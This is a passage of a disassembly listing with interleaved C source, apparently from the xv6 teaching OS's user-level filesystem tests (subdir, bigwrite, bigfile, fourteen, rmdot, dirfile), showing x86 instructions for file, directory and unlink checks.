printf(1, "chdir dd/ff succeeded!\n");
32f9: c7 44 24 04 6d 60 00 movl $0x606d,0x4(%esp)
3300: 00
3301: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3308: e8 b3 1a 00 00 call 4dc0 <printf>
exit();
330d: e8 06 19 00 00 call 4c18 <exit>
}
if(chdir("dd/xx") == 0){
3312: c7 04 24 85 60 00 00 movl $0x6085,(%esp)
3319: e8 6a 19 00 00 call 4c88 <chdir>
331e: 85 c0 test %eax,%eax
3320: 75 19 jne 333b <subdir+0x663>
printf(1, "chdir dd/xx succeeded!\n");
3322: c7 44 24 04 8b 60 00 movl $0x608b,0x4(%esp)
3329: 00
332a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3331: e8 8a 1a 00 00 call 4dc0 <printf>
exit();
3336: e8 dd 18 00 00 call 4c18 <exit>
}
if(unlink("dd/dd/ffff") != 0){
333b: c7 04 24 b4 5d 00 00 movl $0x5db4,(%esp)
3342: e8 21 19 00 00 call 4c68 <unlink>
3347: 85 c0 test %eax,%eax
3349: 74 19 je 3364 <subdir+0x68c>
printf(1, "unlink dd/dd/ff failed\n");
334b: c7 44 24 04 e1 5d 00 movl $0x5de1,0x4(%esp)
3352: 00
3353: c7 04 24 01 00 00 00 movl $0x1,(%esp)
335a: e8 61 1a 00 00 call 4dc0 <printf>
exit();
335f: e8 b4 18 00 00 call 4c18 <exit>
}
if(unlink("dd/ff") != 0){
3364: c7 04 24 ec 5c 00 00 movl $0x5cec,(%esp)
336b: e8 f8 18 00 00 call 4c68 <unlink>
3370: 85 c0 test %eax,%eax
3372: 74 19 je 338d <subdir+0x6b5>
printf(1, "unlink dd/ff failed\n");
3374: c7 44 24 04 a3 60 00 movl $0x60a3,0x4(%esp)
337b: 00
337c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3383: e8 38 1a 00 00 call 4dc0 <printf>
exit();
3388: e8 8b 18 00 00 call 4c18 <exit>
}
if(unlink("dd") == 0){
338d: c7 04 24 d1 5c 00 00 movl $0x5cd1,(%esp)
3394: e8 cf 18 00 00 call 4c68 <unlink>
3399: 85 c0 test %eax,%eax
339b: 75 19 jne 33b6 <subdir+0x6de>
printf(1, "unlink non-empty dd succeeded!\n");
339d: c7 44 24 04 b8 60 00 movl $0x60b8,0x4(%esp)
33a4: 00
33a5: c7 04 24 01 00 00 00 movl $0x1,(%esp)
33ac: e8 0f 1a 00 00 call 4dc0 <printf>
exit();
33b1: e8 62 18 00 00 call 4c18 <exit>
}
if(unlink("dd/dd") < 0){
33b6: c7 04 24 d8 60 00 00 movl $0x60d8,(%esp)
33bd: e8 a6 18 00 00 call 4c68 <unlink>
33c2: 85 c0 test %eax,%eax
33c4: 79 19 jns 33df <subdir+0x707>
printf(1, "unlink dd/dd failed\n");
33c6: c7 44 24 04 de 60 00 movl $0x60de,0x4(%esp)
33cd: 00
33ce: c7 04 24 01 00 00 00 movl $0x1,(%esp)
33d5: e8 e6 19 00 00 call 4dc0 <printf>
exit();
33da: e8 39 18 00 00 call 4c18 <exit>
}
if(unlink("dd") < 0){
33df: c7 04 24 d1 5c 00 00 movl $0x5cd1,(%esp)
33e6: e8 7d 18 00 00 call 4c68 <unlink>
33eb: 85 c0 test %eax,%eax
33ed: 79 19 jns 3408 <subdir+0x730>
printf(1, "unlink dd failed\n");
33ef: c7 44 24 04 f3 60 00 movl $0x60f3,0x4(%esp)
33f6: 00
33f7: c7 04 24 01 00 00 00 movl $0x1,(%esp)
33fe: e8 bd 19 00 00 call 4dc0 <printf>
exit();
3403: e8 10 18 00 00 call 4c18 <exit>
}
printf(1, "subdir ok\n");
3408: c7 44 24 04 05 61 00 movl $0x6105,0x4(%esp)
340f: 00
3410: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3417: e8 a4 19 00 00 call 4dc0 <printf>
}
341c: c9 leave
341d: c3 ret
0000341e <bigwrite>:
// test writes that are larger than the log.
void
bigwrite(void)
{
341e: 55 push %ebp
341f: 89 e5 mov %esp,%ebp
3421: 83 ec 28 sub $0x28,%esp
int fd, sz;
printf(1, "bigwrite test\n");
3424: c7 44 24 04 10 61 00 movl $0x6110,0x4(%esp)
342b: 00
342c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3433: e8 88 19 00 00 call 4dc0 <printf>
unlink("bigwrite");
3438: c7 04 24 1f 61 00 00 movl $0x611f,(%esp)
343f: e8 24 18 00 00 call 4c68 <unlink>
for(sz = 499; sz < 12*512; sz += 471){
3444: c7 45 f4 f3 01 00 00 movl $0x1f3,-0xc(%ebp)
344b: e9 b3 00 00 00 jmp 3503 <bigwrite+0xe5>
fd = open("bigwrite", O_CREATE | O_RDWR);
3450: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
3457: 00
3458: c7 04 24 1f 61 00 00 movl $0x611f,(%esp)
345f: e8 f4 17 00 00 call 4c58 <open>
3464: 89 45 ec mov %eax,-0x14(%ebp)
if(fd < 0){
3467: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
346b: 79 19 jns 3486 <bigwrite+0x68>
printf(1, "cannot create bigwrite\n");
346d: c7 44 24 04 28 61 00 movl $0x6128,0x4(%esp)
3474: 00
3475: c7 04 24 01 00 00 00 movl $0x1,(%esp)
347c: e8 3f 19 00 00 call 4dc0 <printf>
exit();
3481: e8 92 17 00 00 call 4c18 <exit>
}
int i;
for(i = 0; i < 2; i++){
3486: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
348d: eb 50 jmp 34df <bigwrite+0xc1>
int cc = write(fd, buf, sz);
348f: 8b 45 f4 mov -0xc(%ebp),%eax
3492: 89 44 24 08 mov %eax,0x8(%esp)
3496: c7 44 24 04 c0 9a 00 movl $0x9ac0,0x4(%esp)
349d: 00
349e: 8b 45 ec mov -0x14(%ebp),%eax
34a1: 89 04 24 mov %eax,(%esp)
34a4: e8 8f 17 00 00 call 4c38 <write>
34a9: 89 45 e8 mov %eax,-0x18(%ebp)
if(cc != sz){
34ac: 8b 45 e8 mov -0x18(%ebp),%eax
34af: 3b 45 f4 cmp -0xc(%ebp),%eax
34b2: 74 27 je 34db <bigwrite+0xbd>
printf(1, "write(%d) ret %d\n", sz, cc);
34b4: 8b 45 e8 mov -0x18(%ebp),%eax
34b7: 89 44 24 0c mov %eax,0xc(%esp)
34bb: 8b 45 f4 mov -0xc(%ebp),%eax
34be: 89 44 24 08 mov %eax,0x8(%esp)
34c2: c7 44 24 04 40 61 00 movl $0x6140,0x4(%esp)
34c9: 00
34ca: c7 04 24 01 00 00 00 movl $0x1,(%esp)
34d1: e8 ea 18 00 00 call 4dc0 <printf>
exit();
34d6: e8 3d 17 00 00 call 4c18 <exit>
if(fd < 0){
printf(1, "cannot create bigwrite\n");
exit();
}
int i;
for(i = 0; i < 2; i++){
34db: 83 45 f0 01 addl $0x1,-0x10(%ebp)
34df: 83 7d f0 01 cmpl $0x1,-0x10(%ebp)
34e3: 7e aa jle 348f <bigwrite+0x71>
if(cc != sz){
printf(1, "write(%d) ret %d\n", sz, cc);
exit();
}
}
close(fd);
34e5: 8b 45 ec mov -0x14(%ebp),%eax
34e8: 89 04 24 mov %eax,(%esp)
34eb: e8 50 17 00 00 call 4c40 <close>
unlink("bigwrite");
34f0: c7 04 24 1f 61 00 00 movl $0x611f,(%esp)
34f7: e8 6c 17 00 00 call 4c68 <unlink>
int fd, sz;
printf(1, "bigwrite test\n");
unlink("bigwrite");
for(sz = 499; sz < 12*512; sz += 471){
34fc: 81 45 f4 d7 01 00 00 addl $0x1d7,-0xc(%ebp)
3503: 81 7d f4 ff 17 00 00 cmpl $0x17ff,-0xc(%ebp)
350a: 0f 8e 40 ff ff ff jle 3450 <bigwrite+0x32>
}
close(fd);
unlink("bigwrite");
}
printf(1, "bigwrite ok\n");
3510: c7 44 24 04 52 61 00 movl $0x6152,0x4(%esp)
3517: 00
3518: c7 04 24 01 00 00 00 movl $0x1,(%esp)
351f: e8 9c 18 00 00 call 4dc0 <printf>
}
3524: c9 leave
3525: c3 ret
00003526 <bigfile>:
void
bigfile(void)
{
3526: 55 push %ebp
3527: 89 e5 mov %esp,%ebp
3529: 83 ec 28 sub $0x28,%esp
int fd, i, total, cc;
printf(1, "bigfile test\n");
352c: c7 44 24 04 5f 61 00 movl $0x615f,0x4(%esp)
3533: 00
3534: c7 04 24 01 00 00 00 movl $0x1,(%esp)
353b: e8 80 18 00 00 call 4dc0 <printf>
unlink("bigfile");
3540: c7 04 24 6d 61 00 00 movl $0x616d,(%esp)
3547: e8 1c 17 00 00 call 4c68 <unlink>
fd = open("bigfile", O_CREATE | O_RDWR);
354c: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
3553: 00
3554: c7 04 24 6d 61 00 00 movl $0x616d,(%esp)
355b: e8 f8 16 00 00 call 4c58 <open>
3560: 89 45 ec mov %eax,-0x14(%ebp)
if(fd < 0){
3563: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
3567: 79 19 jns 3582 <bigfile+0x5c>
printf(1, "cannot create bigfile");
3569: c7 44 24 04 75 61 00 movl $0x6175,0x4(%esp)
3570: 00
3571: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3578: e8 43 18 00 00 call 4dc0 <printf>
exit();
357d: e8 96 16 00 00 call 4c18 <exit>
}
for(i = 0; i < 20; i++){
3582: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
3589: eb 5a jmp 35e5 <bigfile+0xbf>
memset(buf, i, 600);
358b: c7 44 24 08 58 02 00 movl $0x258,0x8(%esp)
3592: 00
3593: 8b 45 f4 mov -0xc(%ebp),%eax
3596: 89 44 24 04 mov %eax,0x4(%esp)
359a: c7 04 24 c0 9a 00 00 movl $0x9ac0,(%esp)
35a1: e8 c5 14 00 00 call 4a6b <memset>
if(write(fd, buf, 600) != 600){
35a6: c7 44 24 08 58 02 00 movl $0x258,0x8(%esp)
35ad: 00
35ae: c7 44 24 04 c0 9a 00 movl $0x9ac0,0x4(%esp)
35b5: 00
35b6: 8b 45 ec mov -0x14(%ebp),%eax
35b9: 89 04 24 mov %eax,(%esp)
35bc: e8 77 16 00 00 call 4c38 <write>
35c1: 3d 58 02 00 00 cmp $0x258,%eax
35c6: 74 19 je 35e1 <bigfile+0xbb>
printf(1, "write bigfile failed\n");
35c8: c7 44 24 04 8b 61 00 movl $0x618b,0x4(%esp)
35cf: 00
35d0: c7 04 24 01 00 00 00 movl $0x1,(%esp)
35d7: e8 e4 17 00 00 call 4dc0 <printf>
exit();
35dc: e8 37 16 00 00 call 4c18 <exit>
fd = open("bigfile", O_CREATE | O_RDWR);
if(fd < 0){
printf(1, "cannot create bigfile");
exit();
}
for(i = 0; i < 20; i++){
35e1: 83 45 f4 01 addl $0x1,-0xc(%ebp)
35e5: 83 7d f4 13 cmpl $0x13,-0xc(%ebp)
35e9: 7e a0 jle 358b <bigfile+0x65>
if(write(fd, buf, 600) != 600){
printf(1, "write bigfile failed\n");
exit();
}
}
close(fd);
35eb: 8b 45 ec mov -0x14(%ebp),%eax
35ee: 89 04 24 mov %eax,(%esp)
35f1: e8 4a 16 00 00 call 4c40 <close>
fd = open("bigfile", 0);
35f6: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
35fd: 00
35fe: c7 04 24 6d 61 00 00 movl $0x616d,(%esp)
3605: e8 4e 16 00 00 call 4c58 <open>
360a: 89 45 ec mov %eax,-0x14(%ebp)
if(fd < 0){
360d: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
3611: 79 19 jns 362c <bigfile+0x106>
printf(1, "cannot open bigfile\n");
3613: c7 44 24 04 a1 61 00 movl $0x61a1,0x4(%esp)
361a: 00
361b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3622: e8 99 17 00 00 call 4dc0 <printf>
exit();
3627: e8 ec 15 00 00 call 4c18 <exit>
}
total = 0;
362c: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
for(i = 0; ; i++){
3633: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
cc = read(fd, buf, 300);
363a: c7 44 24 08 2c 01 00 movl $0x12c,0x8(%esp)
3641: 00
3642: c7 44 24 04 c0 9a 00 movl $0x9ac0,0x4(%esp)
3649: 00
364a: 8b 45 ec mov -0x14(%ebp),%eax
364d: 89 04 24 mov %eax,(%esp)
3650: e8 db 15 00 00 call 4c30 <read>
3655: 89 45 e8 mov %eax,-0x18(%ebp)
if(cc < 0){
3658: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
365c: 79 19 jns 3677 <bigfile+0x151>
printf(1, "read bigfile failed\n");
365e: c7 44 24 04 b6 61 00 movl $0x61b6,0x4(%esp)
3665: 00
3666: c7 04 24 01 00 00 00 movl $0x1,(%esp)
366d: e8 4e 17 00 00 call 4dc0 <printf>
exit();
3672: e8 a1 15 00 00 call 4c18 <exit>
}
if(cc == 0)
3677: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
367b: 75 1b jne 3698 <bigfile+0x172>
break;
367d: 90 nop
printf(1, "read bigfile wrong data\n");
exit();
}
total += cc;
}
close(fd);
367e: 8b 45 ec mov -0x14(%ebp),%eax
3681: 89 04 24 mov %eax,(%esp)
3684: e8 b7 15 00 00 call 4c40 <close>
if(total != 20*600){
3689: 81 7d f0 e0 2e 00 00 cmpl $0x2ee0,-0x10(%ebp)
3690: 0f 84 99 00 00 00 je 372f <bigfile+0x209>
3696: eb 7e jmp 3716 <bigfile+0x1f0>
printf(1, "read bigfile failed\n");
exit();
}
if(cc == 0)
break;
if(cc != 300){
3698: 81 7d e8 2c 01 00 00 cmpl $0x12c,-0x18(%ebp)
369f: 74 19 je 36ba <bigfile+0x194>
printf(1, "short read bigfile\n");
36a1: c7 44 24 04 cb 61 00 movl $0x61cb,0x4(%esp)
36a8: 00
36a9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
36b0: e8 0b 17 00 00 call 4dc0 <printf>
exit();
36b5: e8 5e 15 00 00 call 4c18 <exit>
}
if(buf[0] != i/2 || buf[299] != i/2){
36ba: 0f b6 05 c0 9a 00 00 movzbl 0x9ac0,%eax
36c1: 0f be d0 movsbl %al,%edx
36c4: 8b 45 f4 mov -0xc(%ebp),%eax
36c7: 89 c1 mov %eax,%ecx
36c9: c1 e9 1f shr $0x1f,%ecx
36cc: 01 c8 add %ecx,%eax
36ce: d1 f8 sar %eax
36d0: 39 c2 cmp %eax,%edx
36d2: 75 1a jne 36ee <bigfile+0x1c8>
36d4: 0f b6 05 eb 9b 00 00 movzbl 0x9beb,%eax
36db: 0f be d0 movsbl %al,%edx
36de: 8b 45 f4 mov -0xc(%ebp),%eax
36e1: 89 c1 mov %eax,%ecx
36e3: c1 e9 1f shr $0x1f,%ecx
36e6: 01 c8 add %ecx,%eax
36e8: d1 f8 sar %eax
36ea: 39 c2 cmp %eax,%edx
36ec: 74 19 je 3707 <bigfile+0x1e1>
printf(1, "read bigfile wrong data\n");
36ee: c7 44 24 04 df 61 00 movl $0x61df,0x4(%esp)
36f5: 00
36f6: c7 04 24 01 00 00 00 movl $0x1,(%esp)
36fd: e8 be 16 00 00 call 4dc0 <printf>
exit();
3702: e8 11 15 00 00 call 4c18 <exit>
}
total += cc;
3707: 8b 45 e8 mov -0x18(%ebp),%eax
370a: 01 45 f0 add %eax,-0x10(%ebp)
if(fd < 0){
printf(1, "cannot open bigfile\n");
exit();
}
total = 0;
for(i = 0; ; i++){
370d: 83 45 f4 01 addl $0x1,-0xc(%ebp)
if(buf[0] != i/2 || buf[299] != i/2){
printf(1, "read bigfile wrong data\n");
exit();
}
total += cc;
}
3711: e9 24 ff ff ff jmp 363a <bigfile+0x114>
close(fd);
if(total != 20*600){
printf(1, "read bigfile wrong total\n");
3716: c7 44 24 04 f8 61 00 movl $0x61f8,0x4(%esp)
371d: 00
371e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3725: e8 96 16 00 00 call 4dc0 <printf>
exit();
372a: e8 e9 14 00 00 call 4c18 <exit>
}
unlink("bigfile");
372f: c7 04 24 6d 61 00 00 movl $0x616d,(%esp)
3736: e8 2d 15 00 00 call 4c68 <unlink>
printf(1, "bigfile test ok\n");
373b: c7 44 24 04 12 62 00 movl $0x6212,0x4(%esp)
3742: 00
3743: c7 04 24 01 00 00 00 movl $0x1,(%esp)
374a: e8 71 16 00 00 call 4dc0 <printf>
}
374f: c9 leave
3750: c3 ret
00003751 <fourteen>:
void
fourteen(void)
{
3751: 55 push %ebp
3752: 89 e5 mov %esp,%ebp
3754: 83 ec 28 sub $0x28,%esp
int fd;
// DIRSIZ is 14.
printf(1, "fourteen test\n");
3757: c7 44 24 04 23 62 00 movl $0x6223,0x4(%esp)
375e: 00
375f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3766: e8 55 16 00 00 call 4dc0 <printf>
if(mkdir("12345678901234") != 0){
376b: c7 04 24 32 62 00 00 movl $0x6232,(%esp)
3772: e8 09 15 00 00 call 4c80 <mkdir>
3777: 85 c0 test %eax,%eax
3779: 74 19 je 3794 <fourteen+0x43>
printf(1, "mkdir 12345678901234 failed\n");
377b: c7 44 24 04 41 62 00 movl $0x6241,0x4(%esp)
3782: 00
3783: c7 04 24 01 00 00 00 movl $0x1,(%esp)
378a: e8 31 16 00 00 call 4dc0 <printf>
exit();
378f: e8 84 14 00 00 call 4c18 <exit>
}
if(mkdir("12345678901234/123456789012345") != 0){
3794: c7 04 24 60 62 00 00 movl $0x6260,(%esp)
379b: e8 e0 14 00 00 call 4c80 <mkdir>
37a0: 85 c0 test %eax,%eax
37a2: 74 19 je 37bd <fourteen+0x6c>
printf(1, "mkdir 12345678901234/123456789012345 failed\n");
37a4: c7 44 24 04 80 62 00 movl $0x6280,0x4(%esp)
37ab: 00
37ac: c7 04 24 01 00 00 00 movl $0x1,(%esp)
37b3: e8 08 16 00 00 call 4dc0 <printf>
exit();
37b8: e8 5b 14 00 00 call 4c18 <exit>
}
fd = open("123456789012345/123456789012345/123456789012345", O_CREATE);
37bd: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
37c4: 00
37c5: c7 04 24 b0 62 00 00 movl $0x62b0,(%esp)
37cc: e8 87 14 00 00 call 4c58 <open>
37d1: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
37d4: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
37d8: 79 19 jns 37f3 <fourteen+0xa2>
printf(1, "create 123456789012345/123456789012345/123456789012345 failed\n");
37da: c7 44 24 04 e0 62 00 movl $0x62e0,0x4(%esp)
37e1: 00
37e2: c7 04 24 01 00 00 00 movl $0x1,(%esp)
37e9: e8 d2 15 00 00 call 4dc0 <printf>
exit();
37ee: e8 25 14 00 00 call 4c18 <exit>
}
close(fd);
37f3: 8b 45 f4 mov -0xc(%ebp),%eax
37f6: 89 04 24 mov %eax,(%esp)
37f9: e8 42 14 00 00 call 4c40 <close>
fd = open("12345678901234/12345678901234/12345678901234", 0);
37fe: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
3805: 00
3806: c7 04 24 20 63 00 00 movl $0x6320,(%esp)
380d: e8 46 14 00 00 call 4c58 <open>
3812: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
3815: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
3819: 79 19 jns 3834 <fourteen+0xe3>
printf(1, "open 12345678901234/12345678901234/12345678901234 failed\n");
381b: c7 44 24 04 50 63 00 movl $0x6350,0x4(%esp)
3822: 00
3823: c7 04 24 01 00 00 00 movl $0x1,(%esp)
382a: e8 91 15 00 00 call 4dc0 <printf>
exit();
382f: e8 e4 13 00 00 call 4c18 <exit>
}
close(fd);
3834: 8b 45 f4 mov -0xc(%ebp),%eax
3837: 89 04 24 mov %eax,(%esp)
383a: e8 01 14 00 00 call 4c40 <close>
if(mkdir("12345678901234/12345678901234") == 0){
383f: c7 04 24 8a 63 00 00 movl $0x638a,(%esp)
3846: e8 35 14 00 00 call 4c80 <mkdir>
384b: 85 c0 test %eax,%eax
384d: 75 19 jne 3868 <fourteen+0x117>
printf(1, "mkdir 12345678901234/12345678901234 succeeded!\n");
384f: c7 44 24 04 a8 63 00 movl $0x63a8,0x4(%esp)
3856: 00
3857: c7 04 24 01 00 00 00 movl $0x1,(%esp)
385e: e8 5d 15 00 00 call 4dc0 <printf>
exit();
3863: e8 b0 13 00 00 call 4c18 <exit>
}
if(mkdir("123456789012345/12345678901234") == 0){
3868: c7 04 24 d8 63 00 00 movl $0x63d8,(%esp)
386f: e8 0c 14 00 00 call 4c80 <mkdir>
3874: 85 c0 test %eax,%eax
3876: 75 19 jne 3891 <fourteen+0x140>
printf(1, "mkdir 12345678901234/123456789012345 succeeded!\n");
3878: c7 44 24 04 f8 63 00 movl $0x63f8,0x4(%esp)
387f: 00
3880: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3887: e8 34 15 00 00 call 4dc0 <printf>
exit();
388c: e8 87 13 00 00 call 4c18 <exit>
}
printf(1, "fourteen ok\n");
3891: c7 44 24 04 29 64 00 movl $0x6429,0x4(%esp)
3898: 00
3899: c7 04 24 01 00 00 00 movl $0x1,(%esp)
38a0: e8 1b 15 00 00 call 4dc0 <printf>
}
38a5: c9 leave
38a6: c3 ret
000038a7 <rmdot>:
void
rmdot(void)
{
38a7: 55 push %ebp
38a8: 89 e5 mov %esp,%ebp
38aa: 83 ec 18 sub $0x18,%esp
printf(1, "rmdot test\n");
38ad: c7 44 24 04 36 64 00 movl $0x6436,0x4(%esp)
38b4: 00
38b5: c7 04 24 01 00 00 00 movl $0x1,(%esp)
38bc: e8 ff 14 00 00 call 4dc0 <printf>
if(mkdir("dots") != 0){
38c1: c7 04 24 42 64 00 00 movl $0x6442,(%esp)
38c8: e8 b3 13 00 00 call 4c80 <mkdir>
38cd: 85 c0 test %eax,%eax
38cf: 74 19 je 38ea <rmdot+0x43>
printf(1, "mkdir dots failed\n");
38d1: c7 44 24 04 47 64 00 movl $0x6447,0x4(%esp)
38d8: 00
38d9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
38e0: e8 db 14 00 00 call 4dc0 <printf>
exit();
38e5: e8 2e 13 00 00 call 4c18 <exit>
}
if(chdir("dots") != 0){
38ea: c7 04 24 42 64 00 00 movl $0x6442,(%esp)
38f1: e8 92 13 00 00 call 4c88 <chdir>
38f6: 85 c0 test %eax,%eax
38f8: 74 19 je 3913 <rmdot+0x6c>
printf(1, "chdir dots failed\n");
38fa: c7 44 24 04 5a 64 00 movl $0x645a,0x4(%esp)
3901: 00
3902: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3909: e8 b2 14 00 00 call 4dc0 <printf>
exit();
390e: e8 05 13 00 00 call 4c18 <exit>
}
if(unlink(".") == 0){
3913: c7 04 24 73 5b 00 00 movl $0x5b73,(%esp)
391a: e8 49 13 00 00 call 4c68 <unlink>
391f: 85 c0 test %eax,%eax
3921: 75 19 jne 393c <rmdot+0x95>
printf(1, "rm . worked!\n");
3923: c7 44 24 04 6d 64 00 movl $0x646d,0x4(%esp)
392a: 00
392b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3932: e8 89 14 00 00 call 4dc0 <printf>
exit();
3937: e8 dc 12 00 00 call 4c18 <exit>
}
if(unlink("..") == 0){
393c: c7 04 24 00 57 00 00 movl $0x5700,(%esp)
3943: e8 20 13 00 00 call 4c68 <unlink>
3948: 85 c0 test %eax,%eax
394a: 75 19 jne 3965 <rmdot+0xbe>
printf(1, "rm .. worked!\n");
394c: c7 44 24 04 7b 64 00 movl $0x647b,0x4(%esp)
3953: 00
3954: c7 04 24 01 00 00 00 movl $0x1,(%esp)
395b: e8 60 14 00 00 call 4dc0 <printf>
exit();
3960: e8 b3 12 00 00 call 4c18 <exit>
}
if(chdir("/") != 0){
3965: c7 04 24 8a 64 00 00 movl $0x648a,(%esp)
396c: e8 17 13 00 00 call 4c88 <chdir>
3971: 85 c0 test %eax,%eax
3973: 74 19 je 398e <rmdot+0xe7>
printf(1, "chdir / failed\n");
3975: c7 44 24 04 8c 64 00 movl $0x648c,0x4(%esp)
397c: 00
397d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3984: e8 37 14 00 00 call 4dc0 <printf>
exit();
3989: e8 8a 12 00 00 call 4c18 <exit>
}
if(unlink("dots/.") == 0){
398e: c7 04 24 9c 64 00 00 movl $0x649c,(%esp)
3995: e8 ce 12 00 00 call 4c68 <unlink>
399a: 85 c0 test %eax,%eax
399c: 75 19 jne 39b7 <rmdot+0x110>
printf(1, "unlink dots/. worked!\n");
399e: c7 44 24 04 a3 64 00 movl $0x64a3,0x4(%esp)
39a5: 00
39a6: c7 04 24 01 00 00 00 movl $0x1,(%esp)
39ad: e8 0e 14 00 00 call 4dc0 <printf>
exit();
39b2: e8 61 12 00 00 call 4c18 <exit>
}
if(unlink("dots/..") == 0){
39b7: c7 04 24 ba 64 00 00 movl $0x64ba,(%esp)
39be: e8 a5 12 00 00 call 4c68 <unlink>
39c3: 85 c0 test %eax,%eax
39c5: 75 19 jne 39e0 <rmdot+0x139>
printf(1, "unlink dots/.. worked!\n");
39c7: c7 44 24 04 c2 64 00 movl $0x64c2,0x4(%esp)
39ce: 00
39cf: c7 04 24 01 00 00 00 movl $0x1,(%esp)
39d6: e8 e5 13 00 00 call 4dc0 <printf>
exit();
39db: e8 38 12 00 00 call 4c18 <exit>
}
if(unlink("dots") != 0){
39e0: c7 04 24 42 64 00 00 movl $0x6442,(%esp)
39e7: e8 7c 12 00 00 call 4c68 <unlink>
39ec: 85 c0 test %eax,%eax
39ee: 74 19 je 3a09 <rmdot+0x162>
printf(1, "unlink dots failed!\n");
39f0: c7 44 24 04 da 64 00 movl $0x64da,0x4(%esp)
39f7: 00
39f8: c7 04 24 01 00 00 00 movl $0x1,(%esp)
39ff: e8 bc 13 00 00 call 4dc0 <printf>
exit();
3a04: e8 0f 12 00 00 call 4c18 <exit>
}
printf(1, "rmdot ok\n");
3a09: c7 44 24 04 ef 64 00 movl $0x64ef,0x4(%esp)
3a10: 00
3a11: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3a18: e8 a3 13 00 00 call 4dc0 <printf>
}
3a1d: c9 leave
3a1e: c3 ret
00003a1f <dirfile>:
void
dirfile(void)
{
3a1f: 55 push %ebp
3a20: 89 e5 mov %esp,%ebp
3a22: 83 ec 28 sub $0x28,%esp
int fd;
printf(1, "dir vs file\n");
3a25: c7 44 24 04 f9 64 00 movl $0x64f9,0x4(%esp)
3a2c: 00
3a2d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3a34: e8 87 13 00 00 call 4dc0 <printf>
fd = open("dirfile", O_CREATE);
3a39: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
3a40: 00
3a41: c7 04 24 06 65 00 00 movl $0x6506,(%esp)
3a48: e8 0b 12 00 00 call 4c58 <open>
3a4d: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
3a50: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
3a54: 79 19 jns 3a6f <dirfile+0x50>
printf(1, "create dirfile failed\n");
3a56: c7 44 24 04 0e 65 00 movl $0x650e,0x4(%esp)
3a5d: 00
3a5e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3a65: e8 56 13 00 00 call 4dc0 <printf>
exit();
3a6a: e8 a9 11 00 00 call 4c18 <exit>
}
close(fd);
3a6f: 8b 45 f4 mov -0xc(%ebp),%eax
3a72: 89 04 24 mov %eax,(%esp)
3a75: e8 c6 11 00 00 call 4c40 <close>
if(chdir("dirfile") == 0){
3a7a: c7 04 24 06 65 00 00 movl $0x6506,(%esp)
3a81: e8 02 12 00 00 call 4c88 <chdir>
3a86: 85 c0 test %eax,%eax
3a88: 75 19 jne 3aa3 <dirfile+0x84>
printf(1, "chdir dirfile succeeded!\n");
3a8a: c7 44 24 04 25 65 00 movl $0x6525,0x4(%esp)
3a91: 00
3a92: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3a99: e8 22 13 00 00 call 4dc0 <printf>
exit();
3a9e: e8 75 11 00 00 call 4c18 <exit>
}
fd = open("dirfile/xx", 0);
3aa3: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
3aaa: 00
3aab: c7 04 24 3f 65 00 00 movl $0x653f,(%esp)
3ab2: e8 a1 11 00 00 call 4c58 <open>
3ab7: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd >= 0){
3aba: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
3abe: 78 19 js 3ad9 <dirfile+0xba>
printf(1, "create dirfile/xx succeeded!\n");
3ac0: c7 44 24 04 4a 65 00 movl $0x654a,0x4(%esp)
3ac7: 00
3ac8: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3acf: e8 ec 12 00 00 call 4dc0 <printf>
exit();
3ad4: e8 3f 11 00 00 call 4c18 <exit>
}
fd = open("dirfile/xx", O_CREATE);
3ad9: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
3ae0: 00
3ae1: c7 04 24 3f 65 00 00 movl $0x653f,(%esp)
3ae8: e8 6b 11 00 00 call 4c58 <open>
3aed: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd >= 0){
3af0: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
3af4: 78 19 js 3b0f <dirfile+0xf0>
printf(1, "create dirfile/xx succeeded!\n");
3af6: c7 44 24 04 4a 65 00 movl $0x654a,0x4(%esp)
3afd: 00
3afe: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3b05: e8 b6 12 00 00 call 4dc0 <printf>
exit();
3b0a: e8 09 11 00 00 call 4c18 <exit>
}
if(mkdir("dirfile/xx") == 0){
3b0f: c7 04 24 3f 65 00 00 movl $0x653f,(%esp)
